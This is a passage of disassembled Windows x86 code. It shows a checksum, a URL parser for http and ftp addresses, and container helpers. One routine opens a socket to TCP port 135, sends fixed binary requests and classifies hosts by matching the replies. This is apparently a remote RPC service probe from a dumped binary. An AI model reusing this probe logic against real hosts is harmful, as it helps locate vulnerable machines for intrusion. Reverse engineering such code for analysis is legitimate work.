ecx, 2 add edx, 2 cmp ecx, 1 jg short loc_420D22 cmp ecx, 0 jz short loc_420D4A loc_420D39: ; CODE XREF: sub_420D00+20j ; sub_420D00+48j xor eax, eax mov al, [edx] add ebx, eax sub ecx, 1 add edx, 1 cmp ecx, 0 jg short loc_420D39 loc_420D4A: ; CODE XREF: sub_420D00+37j mov [ebp+var_4], ebx mov eax, [ebp+var_4] shr eax, 10h mov ebx, [ebp+var_4] and ebx, 0FFFFh add eax, ebx mov ebx, eax shr ebx, 10h add eax, ebx mov [ebp+var_4], eax femms mov eax, [ebp+var_4] pop ebx not eax mov esp, ebp pop ebp retn sub_420D00 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_420DA0: ; CODE XREF: ___:00401019j mov eax, [esp+4] mov dword_50BB54, eax mov eax, offset dword_50BB54 retn ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_420DC0: ; CODE XREF: ___:00401771j push ebx push ebp push esi mov esi, [esp+10h] push edi mov edi, dword_50FAA0 push esi call edi ; ftell mov ebp, dword_50FA98 push 2 push 0 push esi mov ebx, eax call ebp ; fseek push esi call edi ; ftell push 0 push ebx push esi mov edi, eax call ebp ; fseek add esp, 20h mov eax, edi pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420E10 proc near ; CODE XREF: sub_401938j var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_420E10 push eax mov large fs:0, esp sub esp, 78h push ebx push esi mov esi, [esp+8Ch+arg_0] xor ebx, ebx cmp esi, ebx push edi jnz short loc_420E3F xor al, al jmp loc_421419 ; --------------------------------------------------------------------------- loc_420E3F: ; CODE XREF: sub_420E10+26j lea ecx, [esp+90h+var_84] call sub_401424 push esi lea ecx, [esp+94h+var_84] mov [esp+94h+var_4], ebx call sub_4015D7 push offset asc_443C84 ; ":" lea eax, [esp+94h+var_54] push ebx push eax lea ecx, [esp+9Ch+var_84] call sub_4016AE mov esi, [esp+90h+arg_4] push eax mov ecx, esi mov byte ptr [esp+94h+var_4], 1 call sub_401FBE lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset aHttp ; "http" mov ecx, esi call sub_4012EE test eax, eax jz short loc_420ECF push offset aFtp ; "ftp" mov ecx, esi call sub_4012EE test eax, eax jz short loc_420ECF lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421419 ; --------------------------------------------------------------------------- loc_420ECF: ; CODE XREF: sub_420E10+92j ; sub_420E10+A2j push offset asc_444400 ; "/" lea ecx, [esp+94h+var_54] push 1 push ecx lea ecx, [esp+9Ch+var_84] call sub_4016AE push 40h mov ecx, eax mov byte ptr [esp+94h+var_4], 2 call sub_401D20 lea ecx, [esp+90h+var_54] mov edi, eax mov byte ptr [esp+90h+var_4], bl call sub_401226 cmp edi, ebx push offset asc_444400 ; "/" push 1 jz loc_42120C lea edx, [esp+98h+var_24] lea ecx, [esp+98h+var_84] push edx call sub_4016AE push offset dword_4437F8 lea ecx, [esp+94h+var_3C] push 1 push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 3 call sub_4016AE push offset asc_443C84 ; ":" lea edx, [esp+94h+var_54] push ebx push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 4 call sub_4016AE lea edi, [esi+15h] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 5 call sub_401FBE lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], 4 call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 3 call sub_401226 lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset byte_446F60 mov ecx, edi call sub_4012EE test eax, eax jnz short loc_420FC9 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421419 ; --------------------------------------------------------------------------- loc_420FC9: ; CODE XREF: sub_420E10+19Cj push offset asc_444400 ; "/" lea eax, [esp+94h+var_54] push 1 push eax lea ecx, [esp+9Ch+var_84] call sub_4016AE push offset dword_4437F8 lea ecx, [esp+94h+var_3C] push 1 push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 6 call sub_4016AE push offset asc_443C84 ; ":" lea edx, [esp+94h+var_24] push 1 push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 7 call sub_4016AE mov ecx, eax mov byte ptr [esp+90h+var_4], 8 call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+90h+var_24] mov [esi+54h], eax mov byte ptr [esp+90h+var_4], 7 call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 6 call sub_401226 lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_401226 cmp [esi+54h], ebx jnz short loc_421095 push offset aHttp ; "http" mov ecx, esi call sub_4012EE test eax, eax jnz short loc_42107E mov dword ptr [esi+54h], 50h loc_42107E: ; CODE XREF: sub_420E10+265j push offset aFtp ; "ftp" mov ecx, esi call sub_4012EE test eax, eax jnz short loc_421095 mov dword ptr [esi+54h], 15h loc_421095: ; CODE XREF: sub_420E10+255j ; sub_420E10+27Cj push offset asc_444400 ; "/" lea eax, [esp+94h+var_54] push 1 push eax lea ecx, [esp+9Ch+var_84] call sub_4016AE push offset dword_4437F8 lea ecx, [esp+94h+var_3C] push ebx push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 9 call sub_4016AE push offset asc_443C84 ; ":" lea edx, [esp+94h+var_24] push ebx push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Ah call sub_4016AE lea edi, [esi+2Ah] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 0Bh call sub_401FBE lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 0Ah call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 9 call sub_401226 lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset byte_446F60 mov ecx, edi call sub_4012EE test eax, eax jnz short loc_42114E lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421419 ; --------------------------------------------------------------------------- loc_42114E: ; CODE XREF: sub_420E10+321j push offset asc_444400 ; "/" lea eax, [esp+94h+var_54] push 1 push eax lea ecx, [esp+9Ch+var_84] call sub_4016AE push offset dword_4437F8 lea ecx, [esp+94h+var_3C] push ebx push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Ch call sub_4016AE push offset asc_443C84 ; ":" lea edx, [esp+94h+var_24] push 1 push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Dh call sub_4016AE lea edi, [esi+3Fh] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 0Eh call sub_401FBE lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 0Dh call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 0Ch call sub_401226 lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset byte_446F60 mov ecx, edi call sub_4012EE test eax, eax jnz loc_421333 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421419 ; --------------------------------------------------------------------------- loc_42120C: ; CODE XREF: sub_420E10+100j lea eax, [esp+98h+var_3C] lea ecx, [esp+98h+var_84] push eax call sub_4016AE push offset asc_443C84 ; ":" lea ecx, [esp+94h+var_24] push ebx push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Fh call sub_4016AE lea edi, [esi+15h] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 10h call sub_401FBE lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 0Fh call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset byte_446F60 mov ecx, edi call sub_4012EE test eax, eax jnz short loc_421293 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421419 ; --------------------------------------------------------------------------- loc_421293: ; CODE XREF: sub_420E10+466j push offset asc_444400 ; "/" lea edx, [esp+94h+var_3C] push 1 push edx lea ecx, [esp+9Ch+var_84] call sub_4016AE push offset asc_443C84 ; ":" lea ecx, [esp+94h+var_24] push 1 push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 11h call sub_4016AE mov ecx, eax mov byte ptr [esp+90h+var_4], 12h call sub_4017E4 push eax call near ptr 77C1BF18h nop add esp, 4 lea ecx, [esp+90h+var_24] mov [esi+54h], eax mov byte ptr [esp+90h+var_4], 11h call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], bl call sub_401226 cmp [esi+54h], ebx jnz short loc_421333 push offset aHttp ; "http" mov ecx, esi call sub_4012EE test eax, eax jnz short loc_42131C mov dword ptr [esi+54h], 50h loc_42131C: ; CODE XREF: sub_420E10+503j push offset aFtp ; "ftp" mov ecx, esi call sub_4012EE test eax, eax jnz short loc_421333 mov dword ptr [esi+54h], 15h loc_421333: ; CODE XREF: sub_420E10+3DBj ; sub_420E10+4F3j ... push offset asc_444400 ; "/" lea ecx, [esp+94h+var_84] call sub_4013E3 lea edx, [esp+90h+var_6C] push eax push edx lea ecx, [esp+98h+var_84] call sub_401E2E push offset asc_444400 ; "/" lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 13h call sub_4013E3 push eax lea eax, [esp+94h+var_24] push eax lea ecx, [esp+98h+var_6C] call sub_401E2E push eax lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 14h call sub_40200E lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 13h call sub_401226 push offset asc_444400 ; "/" lea ecx, [esp+94h+var_6C] call sub_4013E3 lea ecx, [esp+90h+var_24] push eax push ecx lea ecx, [esp+98h+var_6C] call sub_401E2E push eax lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 15h call sub_40200E lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 13h call sub_401226 add esi, 58h push offset asc_444400 ; "/" mov ecx, esi call sub_4015D7 lea edx, [esp+90h+var_6C] mov ecx, esi push edx call sub_4016BD lea ecx, [esp+90h+var_6C] mov byte ptr [esp+90h+var_4], bl call sub_401226 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 loc_421419: ; CODE XREF: sub_420E10+2Aj ; sub_420E10+BAj ... mov ecx, [esp+90h+var_C] pop edi pop esi pop ebx mov large fs:0, ecx add esp, 84h retn sub_420E10 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 190h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4215D0 proc near ; CODE XREF: sub_401AEBj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov edx, [esp+arg_4] push ebx mov ebx, [esp+4+arg_C] push ebp sub edx, ebx xor eax, eax push esi push edi test edx, edx jle short loc_4215FB loc_4215E4: ; CODE XREF: sub_4215D0+29j mov esi, [esp+10h+arg_0] mov edi, [esp+10h+arg_8] add esi, eax mov ecx, ebx xor ebp, ebp repe cmpsb jz short loc_421602 inc eax cmp eax, edx jl short loc_4215E4 loc_4215FB: ; CODE XREF: sub_4215D0+12j pop edi pop esi pop ebp xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_421602: ; CODE XREF: sub_4215D0+24j pop edi pop esi pop ebp mov al, 1 pop ebx retn sub_4215D0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_421620: ; CODE XREF: ___:0040209Aj mov eax, 2010h call sub_436840 mov eax, [esp+2018h] push ebp push esi dec eax push edi jz short loc_42166D dec eax jz short loc_421647 dec eax pop edi pop esi xor eax, eax pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_421647: ; CODE XREF: ___:00421638j mov eax, [esp+2020h] push 1388h push eax call sub_402004 add esp, 8 neg al sbb eax, eax pop edi pop esi and eax, 3 pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_42166D: ; CODE XREF: ___:00421635j push 6 push 1 push 2 call near ptr 71AB3B91h nop mov esi, eax cmp esi, 0FFFFFFFFh jz loc_4217C9 cmp esi, 0FFFFFFFFh jz loc_4217C9 xor ecx, ecx push 87h mov [esp+10h], ecx mov word ptr [esp+10h], 2 mov [esp+14h], ecx mov [esp+18h], ecx mov [esp+1Ch], ecx call near ptr 71AB2B66h nop mov edx, [esp+2020h] mov [esp+0Eh], ax push edx call sub_40187F add esp, 4 mov [esp+10h], eax lea eax, [esp+0Ch] push 10h push eax push esi nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh jz loc_4217C2 mov ebp, dword_50FC8C push 0 push 48h push offset dword_443DC8 push esi call ebp ; send cmp eax, 0FFFFFFFFh jz loc_4217C2 mov edi, dword_50FC90 push 0 lea ecx, [esp+20h] push 2000h push ecx push esi call edi ; recv cmp eax, 0FFFFFFFFh jz loc_4217C2 cmp byte ptr [esp+1Eh], 0Ch jnz loc_4217C2 push 0 push 18h push offset dword_443E3C push esi call ebp ; send cmp eax, 0FFFFFFFFh jz loc_4217C2 push 0 lea edx, [esp+20h] push 2000h push edx push esi call edi ; recv mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_4217C2 cmp byte ptr [esp+1Eh], 2 jnz short loc_4217C2 push 10h push offset loc_443E14 lea eax, [esp+24h] push edi push eax call sub_401AEB add esp, 10h test al, al jz short loc_421791 xor ecx, ecx cmp edi, 12Ch setnl cl inc ecx push esi mov edi, ecx nop call near ptr 71AB9639h mov eax, edi pop edi pop esi pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_421791: ; CODE XREF: ___:0042176Ej push 10h push offset dword_443E28 lea edx, [esp+24h] push edi push edx call sub_401AEB add esp, 10h neg al sbb eax, eax push esi and eax, 3 mov edi, eax nop call near ptr 71AB9639h mov eax, edi pop edi pop esi pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_4217C2: ; CODE XREF: ___:004216DBj ; ___:004216F6j ... push esi nop call near ptr 71AB9639h loc_4217C9: ; CODE XREF: ___:0042167Ej ; ___:00421687j pop edi pop esi xor eax, eax pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 70h dup(0CCh) ; --------------------------------------------------------------------------- loc_421850: ; CODE XREF: ___:00401A00j xor al, al retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421870 proc near ; CODE XREF: sub_40120Dj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_401311 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_4010E6 sub_421870 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4218B0 proc near ; CODE XREF: sub_4018D9j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401901 sub_4218B0 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4218F0 proc near ; CODE XREF: sub_401816j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_40196F mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_4014D8 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_401997 mov edx, [esi+4] mov ecx, esi push edx call sub_401947 sub_4218F0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421960 proc near ; CODE XREF: sub_4014D8j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_40204F mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_401EBF mov eax, esi pop esi retn 4 sub_421960 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4219A0 proc near ; CODE XREF: sub_40196Fj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_401EBF mov eax, esi pop esi retn 4 sub_4219A0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4219D0 proc near ; CODE XREF: sub_402167j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_40196F mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_4018FC sub_4219D0 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421A10 proc near ; CODE XREF: sub_401703j push esi mov esi, ecx call sub_4019EC mov eax, esi pop esi retn sub_421A10 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421A30 proc near ; CODE XREF: sub_40122Bj mov eax, [ecx] push eax call sub_4010F5 add esp, 4 retn sub_421A30 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421A50 proc near ; CODE XREF: sub_40107Dj push esi mov esi, ecx mov eax, [esi] push eax call sub_40204F mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_421A50 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421A80 proc near ; CODE XREF: sub_401802j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401FFF neg al sbb eax, eax inc eax retn 4 sub_421A80 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421AB0 proc near ; CODE XREF: sub_4016E0j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401212 sub_421AB0 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421AF0 proc near ; CODE XREF: sub_401253j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_4013ED mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_40145B mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40100F mov edx, [esi+4] mov ecx, esi push edx call sub_4021B7 sub_421AF0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421B60 proc near ; CODE XREF: sub_40145Bj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_40110E mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_401D75 mov eax, esi pop esi retn 4 sub_421B60 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421BA0 proc near ; CODE XREF: sub_4013EDj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_401D75 mov eax, esi pop esi retn 4 sub_421BA0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421BD0 proc near ; CODE XREF: sub_401325j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_4013ED mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401BAE sub_421BD0 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421C10 proc near ; CODE XREF: sub_401B40j push esi mov esi, ecx call sub_4011A9 mov eax, esi pop esi retn sub_421C10 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421C30 proc near ; CODE XREF: sub_401055j mov eax, [ecx] push eax call sub_40108C add esp, 4 retn sub_421C30 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421C50 proc near ; CODE XREF: sub_40182Aj push esi mov esi, ecx mov eax, [esi] push eax call sub_40110E mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_421C50 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421C80 proc near ; CODE XREF: sub_4012BCj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401D48 neg al sbb eax, eax inc eax retn 4 sub_421C80 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421CB0 proc near ; CODE XREF: sub_4010E6j arg_4 = byte ptr 8 push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401ECE mov edi, eax push edi call sub_401B1D mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_40139D sub_421CB0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401B1D push edi mov [eax], ebx call sub_401B1D mov edi, [eax] push edi call sub_401B1D mov ecx, [eax] push ecx call sub_4015D2 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_401172 add esp, 4 mov ecx, esi push eax call sub_401E3D mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+14h] mov ecx, esi call sub_401D84 mov eax, esi pop edi pop esi pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421D50 proc near ; CODE XREF: sub_4018FCj arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4010C8 mov edi, eax push edi call sub_401CF3 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401901 sub_421D50 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401CF3 push edi mov [eax], ebx call sub_401CF3 mov edi, [eax] push edi call sub_401CF3 mov ecx, [eax] push ecx call sub_40204F mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_4010F5 add esp, 4 mov ecx, esi push eax call sub_4017E9 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+14h] mov ecx, esi call sub_401EBF mov eax, esi pop edi pop esi pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421DF0 proc near ; CODE XREF: sub_401997j var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401802 test al, al jz short loc_421E4A loc_421E08: ; CODE XREF: sub_421DF0+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_4020B8 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401A1E ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401802 test al, al jnz short loc_421E08 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_421E4A: ; CODE XREF: sub_421DF0+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_421DF0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421E80 proc near ; CODE XREF: sub_401901j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 24h call sub_401DF2 sub_421E80 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_421E95 mov edi, esi loc_421E95: ; CODE XREF: ___:00421E91j push esi call sub_40204F mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_421EAA mov edi, esi loc_421EAA: ; CODE XREF: ___:00421EA6j push esi call sub_401CF3 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421ED0 proc near ; CODE XREF: sub_401947j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401546 sub_421ED0 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421EF0 proc near ; CODE XREF: sub_40204Fj arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_421EF0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421F10 proc near ; CODE XREF: sub_4010F5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_421F10 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421F30 proc near ; CODE XREF: sub_4019ECj mov eax, ecx retn sub_421F30 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421F50 proc near ; CODE XREF: sub_401EBFj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_401519 mov eax, esi pop esi retn 4 sub_421F50 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421F80 proc near ; CODE XREF: sub_401FFFj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_421F80 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421FB0 proc near ; CODE XREF: sub_401BAEj arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4018E8 mov edi, eax push edi call sub_4010EB mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401212 sub_421FB0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_4010EB push edi mov [eax], ebx call sub_4010EB mov edi, [eax] push edi call sub_4010EB mov ecx, [eax] push ecx call sub_40110E mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_40108C add esp, 4 mov ecx, esi push eax call sub_4013DE mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+14h] mov ecx, esi call sub_401D75 mov eax, esi pop edi pop esi pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 